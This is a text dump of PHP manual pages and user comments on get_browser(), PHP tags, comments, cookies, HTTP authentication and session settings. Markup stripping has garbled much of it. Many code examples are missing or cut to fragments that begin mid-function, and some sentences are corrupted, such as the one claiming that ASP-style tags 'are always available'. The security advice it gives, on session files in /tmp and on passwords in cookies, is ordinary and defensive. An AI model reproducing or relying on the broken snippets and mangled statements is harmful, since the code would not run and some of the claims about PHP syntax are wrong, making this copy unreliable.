itself is capable of accepting cookies and does not mean the user has enabled the browser to accept cookies or not. The only way to test if cookies are accepted is to set one with setcookie(), reload, and check for the value. Examples~ Example #1 Listing all information about the users browser > < The above example will output something similar to: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 > Array ( [browser_name_regex] => ^mozilla/5\.0 (windows; .; windows nt 5\.1; .*rv:.*) gecko/.* firefox/0\.9.*$ [browser_name_pattern] => Mozilla/5.0 (Windows; ?; Windows NT 5.1; *rv:*) Gecko/* Firefox/0.9* [parent] => Firefox 0.9 [platform] => WinXP [browser] => Firefox [version] => 0.9 [majorver] => 0 [minorver] => 9 [cssversion] => 2 [frames] => 1 [iframes] => 1 [tables] => 1 [cookies] => 1 [backgroundsounds] => [vbscript] => [javascript] => 1 [javaapplets] => 1 [activexcontrols] => [cdf] => [aol] => [beta] => 1 [win16] => [crawler] => [stripper] => [wap] => [netclr] => ) < Notes~ Note: In order for this to work, your browscap configuration setting in php.ini must point to the correct location of the browscap.ini file on your system. browscap.ini is not bundled with PHP, but you may find an up-to-date » php_browscap.ini file here. While browscap.ini contains information on many browsers, it relies on user updates to keep the database current. The format of the file is fairly self-explanatory. 86 Anonymous ¶1 year ago~ This function is too slow for todays needs. If you need browser / device / operating system detection, please try one of listed packages here: https://github.com/ThaDafinser/UserAgentParser 29 ruudrp at live dot nl ¶6 years ago~ To my surprise I found that none of the get_browser alternatives output the correct name / version combination that I was looking for using Opera or Chrome. They either give the wrong name eg Safari when in fact it should be Chrome and if the ua string includes a version number as with the latest versions of Chrome and Opera the wrong number is reported. So I took bits and pieces from the various examples and combined them and added a check for version. > ' . join('|', $known) . ')[/ ]+(?[0-9.|a-zA-Z.]*)#'; if (!preg_match_all($pattern, $u_agent, $matches)) { // we have no matching number just continue } // see how many we have $i = count($matches['browser']); if ($i != 1) { //we will have two since we are not using 'other' argument yet //see if version is before or after the name if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){ $version= $matches['version'][0]; } else { $version= $matches['version'][1]; } } else { $version= $matches['version'][0]; } // check if we have a number if ($version==null || $version=="") {$version="?";} return array( 'userAgent' => $u_agent, 'name' => $bname, 'version' => $version, 'platform' => $platform, 'pattern' => $pattern ); } // now try it $ua=getBrowser(); $yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports:
" . $ua['userAgent']; print_r($yourbrowser); ?> < 12 Francesco R ¶10 months ago~ If you ONLY need a very fast and simple function to detect the browser name (update to May 2016): > < This function also resolves the trouble with Edge (that contains in the user agent the string "Safari" and "Chrome"), with Chrome (contains the string "Safari") and IE11 (that do not contains 'MSIE' like all other IE versions). Note that "strpos" is the fastest function to check a string (far better than "preg_match") and Opera + Edge + Chrome + Safari + Firefox + Internet Explorer are the most used browsers today (over 97%). -------------------------------------------------------------------------------- *php_tags* +----------+~ | PHP tags |~ +----------+~ When PHP parses a file, it looks for opening and closing tags, which are which tell PHP to start and stop interpreting the code between them. Parsing in this manner allows PHP to be embedded in all sorts of different documents, as everything outside of a pair of opening and closing tags is ignored by the PHP parser. PHP also allows for short open tag , <%=, and the script tag , are always available. There is also the short echo tag , which is always available in PHP 5.4.0 and later. The other two are short tags and ASP style tags. As such, while some people find short tags and ASP style tags convenient, they are less portable, and generally not recommended. Note: Also note that if you are embedding PHP within XML or XHTML you will need to use the tags to remain compliant with standards. PHP 7 removes support for ASP tags and This syntax is removed in PHP 7.0.0. 5. <% echo 'You may optionally use ASP-style tags'; %> Code within these tags <%= $variable; %> is a shortcut for this code <% echo $variable; %> Both of these syntaxes are removed in PHP 7.0.0. < Short tags (example three) are only available when they are enabled via the short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option. ASP style tags (example five) are only available when they are enabled via the asp_tags php.ini configuration file directive, and have been removed in PHP 7.0.0. Note: Using short tags should be avoided when developing applications or libraries that are meant for redistribution, or deployment on PHP servers which are not under your control, because short tags may not be supported on the target server. For portable, redistributable code, be sure not to use short tags. Note: In PHP 5.2 and earlier, the parser does not allow the tags, it means literally EVERYTHING. Including things you normally wouldn't consider "valid", such as the following: > class="highlight">This is a paragraph.

< Notice how the PHP code is embedded in the middle of an HTML opening tag. The PHP parser doesn't care that it's in the middle of an opening tag, and doesn't require that it be closed. It also doesn't care that after the closing ?> tag is the end of the HTML opening tag. So, if $highlight is true, then the output will be: >

This is a paragraph.

< Otherwise, it will be: >

This is a paragraph.

< Using this method, you can have HTML tags with optional attributes, depending on some PHP condition. Extremely flexible and useful! 91 ravenswd at gmail dot com ¶7 years ago~ One aspect of PHP that you need to be careful of, is that ?> will drop you out of PHP code and into HTML even if it appears inside a // comment. (This does not apply to /* */ comments.) This can lead to unexpected results. For example, take this line: > ' . "\n"; ?> < If you try to remove it by turning it into a comment, you get this: > ' . "\n"; ?> < Which results in ' . "\n"; (and whatever is in the lines following it) to be output to your HTML page. The cure is to either comment it out using /* */ tags, or re-write the line as: > ' . "\n"; ?> < 32 sgurukrupa at gmail dot com ¶3 years ago~ Although not specifically pointed out in the main text, escaping from HTML also applies to other control statements: > Hello, there! < When the above code snippet is executed we get the following output: Hello, there! Hello, there! Hello, there! Hello, there! 34 snor_007 at hotmail dot com ¶6 years ago~ Playing around with different open and close tags I discovered you can actually mix different style open/close tags some examples > <% //your php code here ?> < or > tag doesn't break out of PHP mode in a one-line comment. >

This is an example

The header above will say 'This is an example'.

< 'C' style comments end at the first */ encountered. Make sure you don't nest 'C' style comments. It is easy to make this mistake if you are trying to comment out a large block of code. > < User Contributed Notes 15 notes 195 J. Prettyman ¶3 years ago~ Notes can come in all sorts of shapes and sizes. They vary, and their uses are completely up to the person writing the code. However, I try to keep things consistent in my code that way it's easy for the next person to read. So something like this might help... > < 203 M Spreij ¶11 years ago~ A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles: > < Now by taking out one / on the first line.. > < ..the block is suddenly commented out. This works because a /* .. */ overrides //. You can even "flip" two blocks, like this: > < vs > < 78 magnesium dot oxide dot play+php at gmail dot com ¶3 years ago~ It is worth mentioning that, HTML comments have no meaning in PHP parser. So, > < WILL execute some_function() and echo result inside HTML comment. 53 hcderaad at wanadoo dot nl ¶11 years ago~ Comments in PHP can be used for several purposes, a very interesting one being that you can generate API documentation directly from them by using PHPDocumentor (http://www.phpdoc.org/). Therefor one has to use a JavaDoc-like comment syntax (conforms to the DocBook DTD), example: > * in your development cycle save you a lot of time by preventing you having to rewrite
* major documentation parts to generate some usable form of documentation. */ ?> < Some basic html-like formatting is supported with this (ie
tags) to create something of a layout. 39 J Lee ¶10 years ago~ MSpreij (8-May-2005) says /* .. */ overrides // Anonymous (26-Jan-2006) says // overrides /* .. */ Actually, both are correct. Once a comment is opened, *everything* is ignored until the end of the comment (or the end of the php block) is reached. Thus, if a comment is opened with: // then /* and */ are "overridden" until after end-of-line /* then // is "overridden" until after */ 35 Steve ¶12 years ago~ Be careful when commenting out regular expressions. E.g. the following causes a parser error. I do prefer using # as regexp delimiter anyway so it won't hurt me ;-) > setPattern('/^\d.*/'); */ ?> < 25 theblazingangel at aol dot com ¶9 years ago~ it's perhaps not obvious to some, but the following code will cause a parse error! the ?> in //?> is not treated as commented text, this is a result of having to handle code on one line such as > } ?> < i discovered this "anomally" when i commented out a line of code containing a regex which itself contained ?>, with the // style comment. e.g. //preg_match('/^(?>c|b)at$/', 'cat', $matches); will cause an error while commented! using /**/ style comments provides a solution. i don't know about # style comments, i don't ever personally use them. 22 jballard at natoga dot com ¶6 years ago~ Comments do NOT take up processing power. So, for all the people who argue that comments are undesired because they take up processing power now have no reason to comment ;) > "; // 0.25163600 1292450508 echo microtime(), "
"; // 0.25186000 1292450508 // Test echo microtime(), "
"; // 0.25189700 1292450508 # TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST # .. Above comment repeated 18809 times .. echo microtime(), "
"; // 0.25192100 1292450508 ?> < They take up about the same amount of time (about meaning on a repeated testing, sometimes the difference between the control and the test was negative and sometimes positive). 14 fun at nybbles dot com ¶10 years ago~ a trick I have used in all languages to temporarily block out large sections (usually for test/debug/new-feature purposes), is to set (or define) a var at the top, and use that to conditionally comment the blocks; an added benefit over if(0) (samuli's comment from nov'05) is that u can have several versions or tests running at once, and u dont require cleanup later if u want to keep the blocks in: just reset the var. personally, I use this more to conditionally include code for new feature testing, than to block it out,,,, but hey, to each their own :) this is also the only safe way I know of to easily nest comments in any language, and great for multi-file use, if the conditional variables are placed in an include :) for example, placed at top of file: > < and then deeper inside the file: > < 5 Wolfsbay at ya dot ru ¶6 years ago~ If you are using editor with code highlight, it’s much easier to notice error like /* */ */. -------------------------------------------------------------------------------- *cookies* +---------+~ | Cookies |~ +---------+~ PHP transparently supports HTTP cookies. Cookies are a mechanism for storing data in the remote browser and thus tracking or identifying return users. You can set cookies using the setcookie() or setrawcookie() function. Cookies are part of the HTTP header, so setcookie() must be called before any output is sent to the browser. This is the same limitation that header() has. You can use the output buffering functions to delay the script output until you have decided whether or not to set any cookies or send any headers. Any cookies sent to you from the client will automatically be included into a $_COOKIE auto-global array if variables_order contains "C". If you wish to assign multiple values to a single cookie, just add [] to the cookie name. Depending on register_globals, regular PHP variables can be created from cookies. However it's not recommended to rely on them as this feature is often turned off for the sake of security. For more details, including notes on browser bugs, see the setcookie() and setrawcookie() function. User Contributed Notes 7 notes 128 Tugrul ¶2 years ago~ Setting new cookie ============================= > < Getting Cookie ============================= > < Updating Cookie ============================= > < Deleting Cookie ============================== > < Reference: http://gencbilgin.net/php-cookie-kullanimi.html 10 myfirstname at braincell dot cx ¶13 years ago~ [Editor's note: Wilson's comment has been deleted since it didn't contain much useful information, but this note is preserved although its reference is lost] Just a general comment on Wilton's code snippet: It's generally considered very bad practice to store usernames and/or passwords in cookies, whether or not they're obsfucated. Many spyware programs make a point of stealing cookie contents. A much better solution would be to either use the PHP built in session handler or create something similar using your own cookie-based session ID. This session ID could be tied to the source IP address or can be timed out as required but since the ID can be expired separately from the authentication criteria the authentication itself is not compromised. -------------------------------------------------------------------------------- *http_authentication_with_php* +------------------------------+~ | HTTP authentication with PHP |~ +------------------------------+~ It is possible to use the header() function to send an "Authentication Required" message to the client browser causing it to pop up a Username/Password input window. Once the user has filled in a username and a password, the URL containing the PHP script will be called again with the predefined variables PHP_AUTH_USER, PHP_AUTH_PW, and AUTH_TYPE set to the user name, password and authentication type respectively. These predefined variables are found in the $_SERVER array. Both "Basic" and "Digest" (since PHP 5.1.0) authentication methods are supported. See the header() function for more information. An example script fragment which would force client authentication on a page is as follows: Example #1 Basic HTTP Authentication example > Hello {$_SERVER['PHP_AUTH_USER']}.

"; echo "

You entered {$_SERVER['PHP_AUTH_PW']} as your password.

"; } ?> < Example #2 Digest HTTP Authentication example This example shows you how to implement a simple Digest HTTP authentication script. For more information read the » RFC 2617. > password $users = array('admin' => 'mypass', 'guest' => 'guest'); if (empty($_SERVER['PHP_AUTH_DIGEST'])) { header('HTTP/1.1 401 Unauthorized'); header('WWW-Authenticate: Digest realm="'.$realm. '",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"'); die('Text to send if user hits Cancel button'); } // analyze the PHP_AUTH_DIGEST variable if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) || !isset($users[$data['username']])) die('Wrong Credentials!'); // generate the valid response $A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]); $A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']); $valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2); if ($data['response'] != $valid_response) die('Wrong Credentials!'); // ok, valid username & password echo 'You are logged in as: ' . $data['username']; // function to parse the http auth header function http_digest_parse($txt) { // protect against missing data $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1); $data = array(); $keys = implode('|', array_keys($needed_parts)); preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER); foreach ($matches as $m) { $data[$m[1]] = $m[3] ? $m[3] : $m[4]; unset($needed_parts[$m[1]]); } return $needed_parts ? false : $data; } ?> < Note: Compatibility Note Please be careful when coding the HTTP header lines. In order to guarantee maximum compatibility with all clients, the keyword "Basic" should be written with an uppercase "B", the realm string must be enclosed in double (not single) quotes, and exactly one space should precede the 401 code in the HTTP/1.0 401 header line. Authentication parameters have to be comma-separated as seen in the digest example above. Instead of simply printing out PHP_AUTH_USER and PHP_AUTH_PW, as done in the above example, you may want to check the username and password for validity. Perhaps by sending a query to a database, or by looking up the user in a dbm file. Watch out for buggy Internet Explorer browsers out there. They seem very picky about the order of the headers. Sending the WWW-Authenticate header before the HTTP/1.0 401 header seems to do the trick for now. In order to prevent someone from writing a script which reveals the password for a page that was authenticated through a traditional external mechanism, the PHP_AUTH variables will not be set if external authentication is enabled for that particular page and safe mode is enabled. Regardless, REMOTE_USER can be used to identify the externally-authenticated user. So, you can use $_SERVER['REMOTE_USER']. Note: Configuration Note PHP uses the presence of an AuthType directive to determine whether external authentication is in effect. Note, however, that the above does not prevent someone who controls a non-authenticated URL from stealing passwords from authenticated URLs on the same server. Both Netscape Navigator and Internet Explorer will clear the local browser window's authentication cache for the realm upon receiving a server response of 401. This can effectively "log out" a user, forcing them to re-enter their username and password. Some people use this to "time out" logins, or provide a "log-out" button. Example #3 HTTP Authentication example forcing a new name/password > Welcome: " . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "
"; echo "Old: " . htmlspecialchars($_REQUEST['OldAuth']); echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "

\n"; } ?> < This behavior is not required by the HTTP Basic authentication standard, so you should never depend on this. Testing with Lynx has shown that Lynx does not clear the authentication credentials with a 401 server response, so pressing back and then forward again will open the resource as long as the credential requirements haven't changed. The user can press the '_' key to clear their authentication information, however. In order to get HTTP Authentication to work using IIS server with the CGI version of PHP you must edit your IIS configuration "Directory Security". Click on "Edit" and only check "Anonymous Access", all other fields should be left unchecked. Note: IIS Note: For HTTP Authentication to work with IIS, the PHP directive cgi.rfc2616_headers must be set to 0 (the default value). Note: If safe mode is enabled, the uid of the script is added to the realm part of the WWW-Authenticate header. User Contributed Notes 67 notes 26 derkontrollfreak+9hy5l at gmail dot com ¶2 years ago~ Workaround for missing Authorization header under CGI/FastCGI Apache: SetEnvIf Authorization .+ HTTP_AUTHORIZATION=$0 Now PHP should automatically declare $_SERVER[PHP_AUTH_*] variables if the client sends the Authorization header. 9 sergio dot carvalho at gmail dot com ¶1 year ago~ The only effective way I've found to wipe out the PHP_AUTH_DIGEST or PHP_AUTH_USER AND PHP_AUTH_PW credentials is to call the header HTTP/1.1 401 Unauthorized. > function clear_admin_access(){ header('HTTP/1.1 401 Unauthorized'); die('Admin access turned off'); } < 22 webmaster at kratia dot com ¶10 years ago~ This is the simplest form I found to do a Basic authorization with retries. > "carbonell"); $valid_users = array_keys($valid_passwords); $user = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; $validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]); if (!$validated) { header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized'); die ("Not authorized"); } // If arrives here, is a valid user. echo "

Welcome $user.

"; echo "

Congratulation, you are into the system.

"; ?> < 6 xsanychx at mail dot ru ¶4 years ago~ New auth: > < -------------------------------------------------------------------------------- *sessions* +----------+~ | Sessions |~ +----------+~ Session support in PHP consists of a way to preserve certain data across subsequent accesses. This enables you to build more customized applications and increase the appeal of your web site. All information is in the |session_reference| section. -------------------------------------------------------------------------------- *session_reference* +-------------------+~ | Session Reference |~ +-------------------+~ Introduction Installing/Configuring Requirements Installation Runtime Configuration Resource Types Predefined Constants Examples Basic usage Passing the Session ID Custom Session Handlers Session Upload Progress Sessions and Security Session Management Basics Securing Session INI Settings Session Functions session_abort — Discard session array changes and finish session session_cache_expire — Return current cache expire session_cache_limiter — Get and/or set the current cache limiter session_commit — Alias of session_write_close session_create_id — Create new session id session_decode — Decodes session data from a session encoded string session_destroy — Destroys all data registered to a session session_encode — Encodes the current session data as a session encoded string session_gc — Perform session data garbage collection session_get_cookie_params — Get the session cookie parameters session_id — Get and/or set the current session id session_is_registered — Find out whether a global variable is registered in a session session_module_name — Get and/or set the current session module session_name — Get and/or set the current session name session_regenerate_id — Update the current session id with a newly generated one session_register_shutdown — Session shutdown function session_register — Register one or more global variables with the current session session_reset — Re-initialize session array with original values session_save_path — Get and/or set the current session save path session_set_cookie_params — Set the session cookie parameters session_set_save_handler — Sets user-level session storage functions session_start — Start new or resume existing session session_status — Returns the current session status session_unregister — Unregister a global variable from the current session session_unset — Free all session variables session_write_close — Write session data and end session SessionHandler — The SessionHandler class SessionHandler::close — Close the session SessionHandler::create_sid — Return a new session ID SessionHandler::destroy — Destroy a session SessionHandler::gc — Cleanup old sessions SessionHandler::open — Initialize session SessionHandler::read — Read session data SessionHandler::write — Write session data SessionHandlerInterface — The SessionHandlerInterface class SessionHandlerInterface::close — Close the session SessionHandlerInterface::destroy — Destroy a session SessionHandlerInterface::gc — Cleanup old sessions SessionHandlerInterface::open — Initialize session SessionHandlerInterface::read — Read session data SessionHandlerInterface::write — Write session data add a note add a note User Contributed Notes 6 notes 23 e dot mortoray at ecircle dot com ¶7 years ago~ There is a nuance we found with session timing out although the user is still active in the session. The problem has to do with never modifying the session variable. The GC will clear the session data files based on their last modification time. Thus if you never modify the session, you simply read from it, then the GC will eventually clean up. To prevent this you need to ensure that your session is modified within the GC delete time. You can accomplish this like below. > 60 ) $_SESSION['last_access'] = time(); ?> < This will update the session every 60s to ensure that the modification date is altered. -------------------------------------------------------------------------------- *Session_Introduction* +----------------------+~ | Session Introduction |~ +----------------------+~ Session support in PHP consists of a way to preserve certain data across subsequent accesses. A visitor accessing your web site is assigned a unique id, the so-called session id. This is either stored in a cookie on the user side or is propagated in the URL. The session support allows you to store data between requests in the $_SESSION superglobal array. When a visitor accesses your site, PHP will check automatically (if session.auto_start is set to 1) or on your request (explicitly through session_start()) whether a specific session id has been sent with the request. If this is the case, the prior saved environment is recreated. Caution If you turn on session.auto_start then the only way to put objects into your sessions is to load its class definition using auto_prepend_file in which you load the class definition else you will have to serialize() your object and unserialize() it afterwards. $_SESSION (and all registered variables) are serialized internally by PHP using the serialization handler specified by the session.serialize_handler ini setting, after the request finishes. Registered variables which are undefined are marked as being not defined. On subsequent accesses, these are not defined by the session module unless the user defines them later. Warning~ Because session data is serialized, resource variables cannot be stored in the session. Serialize handlers (php and php_binary) inherit register_globals limitations. Therefore, numeric index or string index contains special characters (| and !) cannot be used. Using these will end up with errors at script shutdown. php_serialize does not have such limitations. php_serialize is available from PHP 5.5.4. Note: Please note when working with sessions that a record of a session is not created until a variable has been registered using the session_register() function or by adding a new key to the $_SESSION superglobal array. This holds true regardless of if a session has been started using the session_start() function. Note: PHP 5.2.2 introduced an undocumented feature to store session files in "/tmp" even if open_basedir was enabled and "/tmp" is not explicitly added to the allowed paths list. This feature has been removed from PHP as of PHP 5.3.0. User Contributed Notes 1 note 18 ryan dot jentzsch at gmail dot com ¶1 year ago~ One thing that should be understood is that if you are creating a RESTfull service using sessions is by nature NOT a RESTfull process. Installing/Configuring~ Table of Contents Requirements Installation Runtime Configuration Resource Types Requirements~ No external libraries are needed to build this extension. Note: Optionally you can use shared memory allocation (mm), developed by Ralf S. Engelschall, for session storage. You have to download » mm and install it. This option is not available for Windows platforms. Note that the session storage module for mm does not guarantee that concurrent accesses to the same session are properly locked. It might be more appropriate to use a shared memory based filesystem (such as tmpfs on Solaris/Linux, or /dev/md on BSD) to store sessions in files, because they are properly locked. Session data is stored in memory thus web server restart deletes it. -------------------------------------------------------------------------------- *Session_Installation* +----------------------+~ | Session Installation |~ +----------------------+~ Session support is enabled in PHP by default. If you would not like to build your PHP with session support, you should specify the --disable-session option to configure. To use shared memory allocation (mm) for session storage configure PHP --with-mm[=DIR] . The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions. Note: By default, all data related to a particular session will be stored in a file in the directory specified by the session.save_path INI option. A file for each session (regardless of if any data is associated with that session) will be created. This is due to the fact that a session is opened (a file is created) but no data is even written to that file. Note that this behavior is a side-effect of the limitations of working with the file system and it is possible that a custom session handler (such as one which uses a database) does not keep track of sessions which store no data. -------------------------------------------------------------------------------- *session_runtime_configuration* +-------------------------------+~ | Session Runtime Configuration |~ +-------------------------------+~ The behaviour of these functions is affected by settings in php.ini. Session configuration options Name Default Changeable Changelog session.save_path "" PHP_INI_ALL session.name "PHPSESSID" PHP_INI_ALL session.save_handler "files" PHP_INI_ALL session.auto_start "0" PHP_INI_PERDIR session.gc_probability "1" PHP_INI_ALL session.gc_divisor "100" PHP_INI_ALL Available since PHP 4.3.2. session.gc_maxlifetime "1440" PHP_INI_ALL session.serialize_handler "php" PHP_INI_ALL session.cookie_lifetime "0" PHP_INI_ALL session.cookie_path "/" PHP_INI_ALL session.cookie_domain "" PHP_INI_ALL session.cookie_secure "" PHP_INI_ALL Available since PHP 4.0.4. session.cookie_httponly "" PHP_INI_ALL Available since PHP 5.2.0. session.use_strict_mode "0" PHP_INI_ALL Available since PHP 5.5.2. session.use_cookies "1" PHP_INI_ALL session.use_only_cookies "1" PHP_INI_ALL Available since PHP 4.3.0. session.referer_check "" PHP_INI_ALL session.cache_limiter "nocache" PHP_INI_ALL session.cache_expire "180" PHP_INI_ALL session.use_trans_sid "0" PHP_INI_ALL PHP_INI_ALL in PHP <= 4.2.3. PHP_INI_PERDIR in PHP < 5. Available since PHP 4.0.3. session.trans_sid_tags "a=href,area=href,frame=src,form=" PHP_INI_ALL Available since PHP 7.1.0. session.trans_sid_hosts $_SERVER['HTTP_HOST'] PHP_INI_ALL Available since PHP 7.1.0. session.sid_length "32" PHP_INI_ALL Available since PHP 7.1.0. session.sid_bits_per_character "5" PHP_INI_ALL Available since PHP 7.1.0. session.upload_progress.enabled "1" PHP_INI_PERDIR Available since PHP 5.4.0. session.upload_progress.cleanup "1" PHP_INI_PERDIR Available since PHP 5.4.0. session.upload_progress.prefix "upload_progress_" PHP_INI_PERDIR Available since PHP 5.4.0. session.upload_progress.name "PHP_SESSION_UPLOAD_PROGRESS" PHP_INI_PERDIR Available since PHP 5.4.0. session.upload_progress.freq "1%" PHP_INI_PERDIR Available since PHP 5.4.0. session.upload_progress.min_freq "1" PHP_INI_PERDIR Available since PHP 5.4.0. session.lazy_write "1" PHP_INI_ALL Available since PHP 7.0.0. url_rewriter.tags "a=href,area=href,frame=src,form=" PHP_INI_ALL Available since PHP 4.0.4. Since PHP 7.1.0, this INI is no longer used by session. session.hash_function "0" PHP_INI_ALL Available since PHP 5.0.0. Removed in PHP 7.1.0. session.hash_bits_per_character "4" PHP_INI_ALL Available since PHP 5.0.0. Removed in PHP 7.1.0. session.entropy_file "" PHP_INI_ALL Removed in PHP 7.1.0. session.entropy_length "0" PHP_INI_ALL Removed in PHP 7.1.0 session.bug_compat_42 "1" PHP_INI_ALL Available since PHP 4.3.0. Removed in PHP 5.4.0. session.bug_compat_warn "1" PHP_INI_ALL Available since PHP 4.3.0. Removed in PHP 5.4.0. For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set. The session management system supports a number of configuration options which you can place in your php.ini file. We will give a short overview. *session.save_handler* string session.save_handler defines the name of the handler which is used for storing and retrieving data associated with a session. Defaults to files. Note that individual extensions may register their own save_handlers; registered handlers can be obtained on a per-installation basis by referring to phpinfo(). See also session_set_save_handler(). *session.save_path* string session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created. See also session_save_path(). There is an optional N argument to this directive that determines the number of directory levels your session files will be spread around in. For example, setting to '5;/tmp' may end up creating a session file and location like /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If . In order to use N you must create all of these directories before use. A small shell script exists in ext/session to do this, it's called mod_files.sh, with a Windows version called mod_files.bat. Also note that if N is used and greater than 0 then automatic garbage collection will not be performed, see a copy of php.ini for further information. Also, if you use N, be sure to surround session.save_path in "quotes" because the separator (;) is also used for comments in php.ini. The file storage module creates files using mode 600 by default. This default can be changed with the optional MODE argument: N;MODE;/path where MODE is the octal representation of the mode. Setting MODE does not affect the process umask. Warning If you leave this set to a world-readable directory, such as /tmp (the default), other users on the server may be able to hijack sessions by getting the list of files in that directory. Caution When using the optional directory level argument N, as described above, note that using a value higher than 1 or 2 is inappropriate for most sites due to the large number of directories required: for example, a value of 3 implies that 64^3 directories exist on the filesystem, which can result in a lot of wasted space and inodes. Only use N greater than 2 if you are absolutely certain that your site is large enough to require it. Note: Prior to PHP 4.3.6, Windows users had to change this variable in order to use PHP's session functions. A valid path must be specified, e.g.: c:/temp. *session.name* string session.name specifies the name of the session which is used as cookie name. It should only contain alphanumeric characters. Defaults to PHPSESSID. See also session_name(). *session.auto_start* boolean session.auto_start specifies whether the session module starts a session automatically on request startup. Defaults to 0 (disabled). *session.serialize_handler* string session.serialize_handler defines the name of the handler which is used to serialize/deserialize data. PHP serialize format (name php_serialize), PHP internal formats (name php and php_binary) and WDDX are supported (name wddx). WDDX is only available, if PHP is compiled with WDDX support. php_serialize is available from PHP 5.5.4. php_serialize uses plain serialize/unserialize function internally and does not have limitations that php and php_binary have. Older serialize handlers cannot store numeric index nor string index contains special characters (| and !) in $_SESSION. Use php_serialize to avoid numeric index or special character errors at script shutdown. Defaults to php. *session.gc_probability* integer session.gc_probability in conjunction with session.gc_divisor is used to manage probability that the gc (garbage collection) routine is started. Defaults to 1. See session.gc_divisor for details. *session.gc_divisor* integer session.gc_divisor coupled with session.gc_probability defines the probability that the gc (garbage collection) process is started on every session initialization. The probability is calculated by using gc_probability/gc_divisor, e.g. 1/100 means there is a 1% chance that the GC process starts on each request. session.gc_divisor defaults to 100. *session.gc_maxlifetime* integer session.gc_maxlifetime specifies the number of seconds after which data will be seen as 'garbage' and potentially cleaned up. Garbage collection may occur during session start (depending on session.gc_probability and session.gc_divisor). Note: If different scripts have different values of session.gc_maxlifetime but share the same place for storing the session data then the script with the minimum value will be cleaning the data. In this case, use this directive together with session.save_path. *session.referer_check* string session.referer_check contains the substring you want to check each HTTP Referer for. If the Referer was sent by the client and the substring was not found, the embedded session id will be marked as invalid. Defaults to the empty string. *session.entropy_file* string session.entropy_file gives a path to an external resource (file) which will be used as an additional entropy source in the session id creation process. Examples are /dev/random or /dev/urandom which are available on many Unix systems. This feature is supported on Windows since PHP 5.3.3. Setting session.entropy_length to a non zero value will make PHP use the Windows Random API as entropy source. Note: Removed in PHP 7.1.0. As of PHP 5.4.0 session.entropy_file defaults to /dev/urandom or /dev/arandom if it is available. In PHP 5.3.0 this directive is left empty by default. *session.entropy_length* integer session.entropy_length specifies the number of bytes which will be read from the file specified above. Defaults to 32. Removed in PHP 7.1.0. *session.use_strict_mode* boolean session.use_strict_mode specifies whether the module will use strict session id mode. If this mode is enabled, the module does not accept uninitialized session ID. If uninitialized session ID is sent from browser, new session ID is sent to browser. Applications are protected from session fixation via session adoption with strict mode. Defaults to 0 (disabled). Note: Enabling session.use_strict_mode is mandatory for general session security. All sites are advised to enable this. See session_create_id() example code for more details. *session.use_cookies* boolean session.use_cookies specifies whether the module will use cookies to store the session id on the client side. Defaults to 1 (enabled). *session.use_only_cookies* boolean session.use_only_cookies specifies whether the module will only use cookies to store the session id on the client side. Enabling this setting prevents attacks involved passing session ids in URLs. This setting was added in PHP 4.3.0. Defaults to 1 (enabled) since PHP 5.3.0. *session.cookie_lifetime* integer session.cookie_lifetime specifies the lifetime of the cookie in seconds which is sent to the browser. The value 0 means "until the browser is closed." Defaults to 0. See also session_get_cookie_params() and session_set_cookie_params(). Note: The expiration timestamp is set relative to the server time, which is not necessarily the same as the time in the client's browser. *session.cookie_path* string session.cookie_path specifies path to set in the session cookie. Defaults to /. See also session_get_cookie_params() and session_set_cookie_params(). *session.cookie_domain* string session.cookie_domain specifies the domain to set in the session cookie. Default is none at all meaning the host name of the server which generated the cookie according to cookies specification. See also session_get_cookie_params() and session_set_cookie_params(). *session.cookie_secure* boolean session.cookie_secure specifies whether cookies should only be sent over secure connections. Defaults to off. This setting was added in PHP 4.0.4. See also session_get_cookie_params() and session_set_cookie_params(). *session.cookie_httponly* boolean Marks the cookie as accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers). *session.cache_limiter* string session.cache_limiter specifies the cache control method used for session pages. It may be one of the following values: nocache, private, private_no_expire, or public. Defaults to nocache. See also the session_cache_limiter() documentation for information about what these values mean. *session.cache_expire* integer session.cache_expire specifies time-to-live for cached session pages in minutes, this has no effect for nocache limiter. Defaults to 180. See also session_cache_expire(). *session.use_trans_sid* boolean session.use_trans_sid whether transparent sid support is enabled or not. Defaults to 0 (disabled). Note: URL based session management has additional security risks compared to cookie based session management. Users may send a URL that contains an active session ID to their friends by email or users may save a URL that contains a session ID to their bookmarks and access your site with the same session ID always, for example. Since PHP 7.1.0, full URL path, e.g. https://php.net/, is handled by trans sid feature. Previous PHP handled relative URL path only. Rewrite target hosts are defined by session.trans_sid_hosts. *session.trans_sid_tags* string session.trans_sid_tags specifies which HTML tags are rewritten to include session id when transparent sid support is enabled. Defaults to a=href,area=href,frame=src,input=src,form= form is special tag. is added as form variable. Note: Before PHP 7.1.0, url_rewriter.tags was used for this purpose. Since PHP 7.1.0, fieldset is no longer considered as special tag. *session.trans_sid_hosts* string session.trans_sid_hosts specifies which hosts are 